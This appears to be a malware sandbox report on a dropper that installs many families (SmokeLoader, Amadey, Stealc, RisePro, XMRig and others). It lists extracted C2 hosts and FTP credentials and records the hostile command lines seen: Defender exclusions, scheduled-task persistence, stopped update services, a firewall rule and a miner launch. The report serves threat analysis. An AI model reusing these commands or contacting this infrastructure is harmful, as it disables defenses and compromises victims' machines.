Resubmissions
29/01/2024, 12:28
240129-pnbslabbcj29/01/2024, 12:28
240129-pnbgtshgb829/01/2024, 12:19
240129-phancababl1012/01/2024, 23:12
240112-268aqsfgap10Analysis
- max time kernel
13s - max time network
305s - platform
windows10-2004_x64 - resource
win10v2004-20231215-en - resource tags
- submitted
29/01/2024, 12:19
General
- Target 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce.exe
- Size 10KB
- Sample240129-phancababl
- SHA256 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce
Score
10/10
Malware Config
Extracted
Credentials
-
Protocol
ftp
-
Host
162.248.54.77
-
Port
21
-
Username
appftp
-
Password
$ftp365284$
Extracted
Family
-
smokeloader
Botnet
-
lab
Extracted
Family
-
smokeloader
Version
-
2020
C2
-
http://host-file-host6.com/
-
http://host-host-file8.com/
rc4.i32
rc4.i32
Extracted
Family
-
metasploit
Version
-
encoder/shikata_ga_nai
Extracted
Family
-
metasploit
Version
-
windows/shell_reverse_tcp
C2
-
127.0.0.1:12346
Extracted
Family
-
amadey
Version
-
3.86
C2
-
http://45.9.74.182
Attributes
-
install_dir
f3f10bd848
-
install_file
bstyoops.exe
-
strings_key
05986a1cda6dc6caabf469f27fb6c32d
-
url_paths
/b7djSDcPcZ/index.php
rc4.plain
Extracted
Family
-
stealc
C2
-
http://185.172.128.24
Attributes
-
url_path
/40d570f44e84a454.php
rc4.plain
Extracted
Family
-
risepro
C2
-
185.149.146.75:50500
Signatures
- Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
- Detect Lumma Stealer payload V2 1 IoCs
- Detect Lumma Stealer payload V4 1 IoCs
- Detect ZGRat V1 2 IoCs
- Lumma Stealer
An infostealer written in C++ first seen in August 2022.
- MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
- Quasar RAT
Quasar is an open source Remote Access Tool.
- Quasar payload 1 IoCs
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 4 IoCs
- RisePro
RisePro stealer is an infostealer distributed by PrivateLoader.
- SmokeLoader
Modular backdoor trojan in use since 2014.
- Stealc
Stealc is an infostealer written in C++.
- XMRig Miner payload 8 IoCs
- ZGRat
ZGRat is remote access trojan written in C#.
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Creates new service(s) 1 TTPs
- Downloads MZ/PE file
- Modifies Windows Firewall 2 TTPs 1 IoCs
- Stops running service(s) 3 TTPs
- .NET Reactor proctector 7 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
- ACProtect 1.3x - 1.4x DLL software 1 IoCs
Detects file using ACProtect software.
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Drops startup file 1 IoCs
- Executes dropped EXE 10 IoCs
- Loads dropped DLL 1 IoCs
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Themida packer 1 IoCs
Detects Themida, an advanced Windows software protection system.
- UPX packed file 18 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Uses the VBS compiler for execution 1 TTPs
- VMProtect packed file 1 IoCs
Detects executables packed with VMProtect commercial packer.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 45 IoCs
- Looks up external IP address via web service 10 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
- AutoIT Executable 2 IoCs
AutoIT scripts compiled to PE executables.
- Suspicious use of SetThreadContext 2 IoCs
- Launches sc.exe 27 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Detects Pyinstaller 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 41 IoCs
- NSIS installer 2 IoCs
- Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Creates scheduled task(s) 1 TTPs 8 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 1 IoCs
- Enumerates processes with tasklist 1 TTPs 1 IoCs
- Kills process with taskkill 7 IoCs
- Modifies registry key 1 TTPs 1 IoCs
- Runs ping.exe 1 TTPs 3 IoCs
- Suspicious behavior: EnumeratesProcesses 15 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 10 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SendNotifyMessage 2 IoCs
- Suspicious use of WriteProcessMemory 39 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce.exe"C:\Users\Admin\AppData\Local\Temp\2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce.exe"1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\865b3db67f0565e0b41e72aa036d78183c33dab95bd4be7b4f13aebda88ab0c0.exe"C:\Users\Admin\AppData\Local\Temp\Files\865b3db67f0565e0b41e72aa036d78183c33dab95bd4be7b4f13aebda88ab0c0.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\865b3db67f0565e0b41e72aa036d78183c33dab95bd4be7b4f13aebda88ab0c0.exe"C:\Users\Admin\AppData\Local\Temp\Files\865b3db67f0565e0b41e72aa036d78183c33dab95bd4be7b4f13aebda88ab0c0.exe"3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\flesh.exe"C:\Users\Admin\AppData\Local\Temp\Files\flesh.exe"2⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe"3⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\laplas03.exe"C:\Users\Admin\AppData\Local\Temp\Files\laplas03.exe"2⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /C choice /C Y /N /D Y /T 0 &Del C:\Users\Admin\AppData\Local\Temp\Files\laplas03.exe3⤵
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 04⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\12cc22da6901d5fc26e8f2d3ee79a1c346f83a7ae43e25d1384e1df23d9adb69.exe"C:\Users\Admin\AppData\Local\Temp\Files\12cc22da6901d5fc26e8f2d3ee79a1c346f83a7ae43e25d1384e1df23d9adb69.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\Files\12cc22da6901d5fc26e8f2d3ee79a1c346f83a7ae43e25d1384e1df23d9adb69.exe"C:\Users\Admin\AppData\Local\Temp\Files\12cc22da6901d5fc26e8f2d3ee79a1c346f83a7ae43e25d1384e1df23d9adb69.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\360TS_Setup_Mini_WW.Ginmobi.CPI202401_6.6.0.1060.exe"C:\Users\Admin\AppData\Local\Temp\Files\360TS_Setup_Mini_WW.Ginmobi.CPI202401_6.6.0.1060.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Writes to the Master Boot Record (MBR)
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Users\Admin\AppData\Local\Temp\Files\360TS_Setup.exe"C:\Users\Admin\AppData\Local\Temp\Files\360TS_Setup.exe" /c:WW.Ginmobi.CPI202401 /pmode:2 /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo=3⤵
-
C:\Program Files (x86)\1706530804_0\360TS_Setup.exe"C:\Program Files (x86)\1706530804_0\360TS_Setup.exe" /c:WW.Ginmobi.CPI202401 /pmode:2 /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo= /TSinstall4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ma.exe"C:\Users\Admin\AppData\Local\Temp\Files\ma.exe"2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp9B36.tmp.bat""3⤵
-
C:\Windows\system32\timeout.exetimeout 34⤵
- Delays execution with timeout.exe
-
-
C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"5⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"6⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o fr-zephyr.miningocean.org:5342 -u ZEPHYR2dNRNd7BpuKZoXnqZu7WiTzoMXE8EhzsTJDnXV9ZDksih16M2EazfmCb3ax9Z78hH9iJMxSQE1NBkPCK6W3M8SBGcc7ZC2z -p work -a rx/0 --donate-level 1 --opencl5⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\3b9da1066d77143b24ee1c9b9c9787f63400bc599fcaf4bfc8f58efc802cf760.exe"C:\Users\Admin\AppData\Local\Temp\Files\3b9da1066d77143b24ee1c9b9c9787f63400bc599fcaf4bfc8f58efc802cf760.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\3b9da1066d77143b24ee1c9b9c9787f63400bc599fcaf4bfc8f58efc802cf760.exe"C:\Users\Admin\AppData\Local\Temp\Files\3b9da1066d77143b24ee1c9b9c9787f63400bc599fcaf4bfc8f58efc802cf760.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\BelgiumchainAGRO.exe"C:\Users\Admin\AppData\Local\Temp\Files\BelgiumchainAGRO.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"3⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'BelgiumchainAGRO';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'BelgiumchainAGRO' -Value '"C:\Users\Admin\AppData\Local\BelgiumchainAGRO\BelgiumchainAGRO.exe"' -PropertyType 'String'3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\leg221.exe"C:\Users\Admin\AppData\Local\Temp\Files\leg221.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\cs_maltest.exe"C:\Users\Admin\AppData\Local\Temp\Files\cs_maltest.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\TaAgente.exe"C:\Users\Admin\AppData\Local\Temp\Files\TaAgente.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1664 -s 17643⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\tidex_-_short_stuff.exe"C:\Users\Admin\AppData\Local\Temp\Files\tidex_-_short_stuff.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 904 -s 7243⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\kololl.exe"C:\Users\Admin\AppData\Local\Temp\Files\kololl.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\onefile_2576_133510044065822127\test.exe"C:\Users\Admin\AppData\Local\Temp\Files\kololl.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\onefile_2576_133510044065822127\test.exe"C:\Users\Admin\AppData\Local\Temp\onefile_2576_133510044065822127\test.exe" "--multiprocessing-fork" "parent_pid=756" "pipe_handle=700"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\onefile_2576_133510044065822127\test.exe"C:\Users\Admin\AppData\Local\Temp\onefile_2576_133510044065822127\test.exe" "--multiprocessing-fork" "parent_pid=756" "pipe_handle=684"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\onefile_2576_133510044065822127\test.exe"C:\Users\Admin\AppData\Local\Temp\onefile_2576_133510044065822127\test.exe" "--multiprocessing-fork" "parent_pid=756" "pipe_handle=672"4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im browser.exe"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im browser.exe6⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\onefile_2576_133510044065822127\test.exe"C:\Users\Admin\AppData\Local\Temp\onefile_2576_133510044065822127\test.exe" "--multiprocessing-fork" "parent_pid=756" "pipe_handle=656"4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im vivaldi.exe"5⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im vivaldi.exe6⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\onefile_2576_133510044065822127\test.exe"C:\Users\Admin\AppData\Local\Temp\onefile_2576_133510044065822127\test.exe" "--multiprocessing-fork" "parent_pid=756" "pipe_handle=652"4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\75d8077636ee1ec7b44f33cfdc65dc4a5b96d4c0b9ac3df0879b97e2bae1f9dd.exe"C:\Users\Admin\AppData\Local\Temp\Files\75d8077636ee1ec7b44f33cfdc65dc4a5b96d4c0b9ac3df0879b97e2bae1f9dd.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 3403⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\StealerClient_Sharp_1_4.exe"C:\Users\Admin\AppData\Local\Temp\Files\StealerClient_Sharp_1_4.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2732 -s 8603⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Temp1.exe"C:\Users\Admin\AppData\Local\Temp\Files\Temp1.exe"2⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "WSUS Update Client" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Files\Temp1.exe" /rl HIGHEST /f3⤵
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\SubDir\asg.exe"C:\Windows\SysWOW64\SubDir\asg.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\timeSync.exe"C:\Users\Admin\AppData\Local\Temp\Files\timeSync.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\timeSync.exe"C:\Users\Admin\AppData\Local\Temp\Files\timeSync.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4868 -s 9804⤵
- Program crash
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\RiseBuild.exe"C:\Users\Admin\AppData\Local\Temp\Files\RiseBuild.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\asdfg.exe"C:\Users\Admin\AppData\Local\Temp\Files\asdfg.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\asdfg.exeC:\Users\Admin\AppData\Local\Temp\Files\asdfg.exe3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\brg.exe"C:\Users\Admin\AppData\Local\Temp\Files\brg.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\SystemUpdate.exe"C:\Users\Admin\AppData\Local\Temp\Files\SystemUpdate.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C chcp 1251 & powershell -Command Add-MpPreference -ExclusionPath "$ENV:USERPROFILE\Desktop" & powershell -Command Add-MpPreference -ExclusionPath "C:\ProgramData\Dllhost" & powershell -Command Add-MpPreference -ExclusionPath "C:\ProgramData\SystemData"3⤵
-
C:\Windows\SysWOW64\chcp.comchcp 12514⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath "$ENV:USERPROFILE\Desktop"4⤵
-
-
-
C:\ProgramData\Dllhost\dllhost.exe"C:\ProgramData\Dllhost\dllhost.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray" /TR "C:\ProgramData\Dllhost\dllhost.exe"4⤵
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "OneDriveService" /TR "C:\ProgramData\Dllhost\dllhost.exe"4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "MicrosoftEdgeUpd" /TR "C:\ProgramData\Dllhost\dllhost.exe"4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"4⤵
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "AntiMalwareServiceExecutable" /TR "C:\ProgramData\Dllhost\dllhost.exe"4⤵
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "WmiPrvSE" /TR "C:\ProgramData\Dllhost\dllhost.exe"4⤵
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "WindowsDefender" /TR "C:\ProgramData\Dllhost\dllhost.exe"4⤵
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "SecurityHealthSystray" /TR "C:\ProgramData\Dllhost\dllhost.exe"4⤵
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "WindowsDefenderServices\WindowsDefenderServicesService_bk6942" /TR "C:\ProgramData\Dllhost\dllhost.exe"4⤵
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "SettingSysHost\SettingSysHostService_bk2744" /TR "C:\ProgramData\Dllhost\dllhost.exe"4⤵
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "MicrosoftUpdateServices\MicrosoftUpdateServicesService_bk3342" /TR "C:\ProgramData\Dllhost\dllhost.exe"4⤵
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "AntiMalwareSericeExecutable\AntiMalwareSericeExecutableService_bk3094" /TR "C:\ProgramData\Dllhost\dllhost.exe"4⤵
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c chcp 1251 & C:\ProgramData\Dllhost\winlogson.exe -c config.json4⤵
-
C:\Windows\SysWOW64\chcp.comchcp 12515⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c chcp 1251 & C:\ProgramData\Dllhost\winlogson.exe -c config.json4⤵
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c chcp 1251 & C:\ProgramData\Dllhost\winlogson.exe -c config.json4⤵
-
C:\Windows\SysWOW64\chcp.comchcp 12515⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c chcp 1251 & C:\ProgramData\Dllhost\winlogson.exe -c config.json4⤵
-
C:\Windows\SysWOW64\chcp.comchcp 12515⤵
-
-
C:\ProgramData\Dllhost\winlogson.exeC:\ProgramData\Dllhost\winlogson.exe -c config.json5⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c chcp 1251 & C:\ProgramData\Dllhost\winlogson.exe -c config.json4⤵
-
C:\Windows\SysWOW64\chcp.comchcp 12515⤵
-
-
C:\ProgramData\Dllhost\winlogson.exeC:\ProgramData\Dllhost\winlogson.exe -c config.json5⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\buildcosta.exe"C:\Users\Admin\AppData\Local\Temp\Files\buildcosta.exe"2⤵
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN buildcosta.exe /TR "C:\Users\Admin\AppData\Local\Temp\Files\buildcosta.exe" /F3⤵
- Creates scheduled task(s)
-
-
C:\Users\Admin\AppData\Local\Temp\1000120001\e0cbefcb1af40c7d4aff4aca26621a98.exe"C:\Users\Admin\AppData\Local\Temp\1000120001\e0cbefcb1af40c7d4aff4aca26621a98.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3096 -s 3724⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3096 -s 3884⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3096 -s 3924⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3096 -s 6964⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3096 -s 7324⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3096 -s 4324⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3096 -s 7524⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3096 -s 7604⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3096 -s 7524⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3096 -s 7284⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3096 -s 7764⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3096 -s 7204⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3096 -s 7764⤵
- Program crash
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3096 -s 8404⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3096 -s 6644⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3096 -s 9244⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3096 -s 9164⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3096 -s 4364⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3096 -s 9044⤵
- Program crash
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\1000120001\e0cbefcb1af40c7d4aff4aca26621a98.exe"C:\Users\Admin\AppData\Local\Temp\1000120001\e0cbefcb1af40c7d4aff4aca26621a98.exe"4⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5320 -s 3405⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5320 -s 3565⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5320 -s 3605⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5320 -s 6525⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5320 -s 6885⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5320 -s 6885⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5320 -s 6885⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5320 -s 7445⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5320 -s 7165⤵
- Program crash
-
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"5⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes6⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5320 -s 5925⤵
- Program crash
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5320 -s 6045⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5320 -s 8765⤵
- Program crash
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000121001\toolspub1.exe"C:\Users\Admin\AppData\Local\Temp\1000121001\toolspub1.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4588 -s 3404⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000122001\rty27.exe"C:\Users\Admin\AppData\Local\Temp\1000122001\rty27.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\1000123001\FirstZ.exe"C:\Users\Admin\AppData\Local\Temp\1000123001\FirstZ.exe"3⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force4⤵
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart4⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart5⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc4⤵
- Launches sc.exe
-
-
